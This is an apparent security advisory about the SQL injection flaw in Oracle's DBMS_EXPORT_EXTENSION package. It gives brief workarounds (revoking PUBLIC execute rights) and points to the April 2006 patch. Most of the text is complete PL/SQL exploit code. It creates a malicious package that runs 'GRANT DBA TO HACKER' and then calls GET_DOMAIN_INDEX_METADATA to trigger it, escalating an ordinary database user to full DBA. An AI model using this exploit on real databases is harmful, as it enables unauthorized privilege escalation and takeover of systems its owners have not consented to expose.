[EXPL] SQL Injection via Oracle DBMS_EXPORT_EXTENSION in Oracle (Exploit)

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SQL Injection via Oracle DBMS_EXPORT_EXTENSION in Oracle (Exploit)
------------------------------------------------------------------------


SUMMARY

The attached source exploits the recently discovered SQL injection
vulnerability in DBMS_EXPORT_EXTENSION.

DETAILS

Workarounds:
Change permission on the database by running:
REVOKE EXECUTE ON SYS.DBMS_EXPORT_EXTENSION FROM PUBLIC FORCE;
REVOKE EXECUTE ON SYS.DBMS_EXPORT_EXTENSION FROM PUBLIC FORCE;

Solution:
<http://www.oracle.com/technology/deploy/security/pdf/cpuapr2006.html>
Oracle Critical Patch Update - April 2006 Addresses this vulnerability, as
well as other 35 security issues.

Exploit Code:
/*
* F***ing NON-0 day($) exploit for Oracle 10g 10.2.0.2.0
*
* Patch your database now!
*
* by N1V1Hd $3c41r3
*
*/

CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/

CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;

END;
/

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;

v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
-> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/


ADDITIONAL INFORMATION

The information has been provided by <mailto:hasecorp@xxxxxxxxxxx>
putosoft softputo.



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